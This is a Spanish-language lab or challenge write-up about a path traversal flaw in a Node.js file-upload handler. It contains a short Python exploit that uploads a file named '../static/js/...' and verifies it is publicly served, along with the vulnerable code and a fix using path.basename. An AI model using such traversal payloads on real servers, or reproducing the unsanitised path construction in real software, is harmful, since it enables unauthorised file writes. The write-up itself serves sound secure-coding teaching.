Ir al contenido

Resourcehub Core

Autor
Santiago Chavarro

Análisis
#

Exploit
#

El exploit realiza un ataque de path traversal usando una función de carga (upload) que acepta nombres de archivo arbitrarios (por ejemplo, "../static/js/{filename}"), permitiendo colocar archivos fuera del directorio seguro y acceder a ellos mediante rutas públicas del servidor. Así, al manipular el nombre del archivo en la carga y verificar si se encuentra disponible al solicitarlo, un atacante puede comprobar el éxito del ataque e identificar archivos subidos en ubicaciones accesibles desde el exterior.

if __name__ == '__main__':

    filename = generate_random_filename()
    content = random_string(20)
    response = upload_resource(f"../static/js/{filename}", content)

    resources_url = f"{BASE_URL}/js/{filename}"
    response = get(resources_url)

    match = re.search(content, response.text)
    if match:
        print(f"Exploit success!")
        print(f"Files uploaded on: {resources_url}")
    else:
        print(f"Exploit failed!")

Código inseguro
#

El siguiente fragmento evidencia el problema:

try {
        const targetFilename = file.originalFilename;
        const targetPath = path.join(__dirname, '../resources', targetFilename);
        
        fs.renameSync(file.filepath, targetPath);
        
        res.json({
          success: true,
          message: 'Resource uploaded successfully',
          category: fields.category,
          priority: fields.priority,
          filename: targetFilename,
          path: targetPath
        });
      }

En este código, el nombre de archivo (targetFilename) proviene directamente de la entrada del usuario y se utiliza sin procesar al construir el path final, permitiendo la inclusión de secuencias como "../" para acceder a rutas externas y sobrescribir archivos sensibles del sistema. Además, no se verifica la extensión ni el formato del archivo, elevando el riesgo.​

Por qué sucede este fallo
#

Falta validación en el nombre del archivo recibido y en la ruta generada. El uso directo de datos del usuario para construir rutas lo convierte en vulnerable a path traversal, permitiendo que archivos arbitrarios sean escritos en ubicaciones no autorizadas del servidor. No se aplican controles sobre la carpeta destino, extensión u otras propiedades mínimas de seguridad.

Solución
#

El código corregido evita la vulnerabilidad utilizando path.basename para limpiar el nombre del archivo, eliminando cualquier intento de path traversal. Así, sólo se acepta la parte final del nombre y nunca se permite navegar fuera del directorio seguro.

try {
            const targetFilename = file.originalFilename;
            const targetFilenamePath = path.basename(targetFilename);
            const targetPath = path.join(__dirname, '../resources', targetFilenamePath);
            
            fs.renameSync(file.filepath, targetPath); 

            res.json({
                success: true,
                message: 'Resource uploaded successfully',
                category: fields.category,
                priority: fields.priority,
                filename: targetFilename,
                path: targetPath
            });
        }

Referencias
#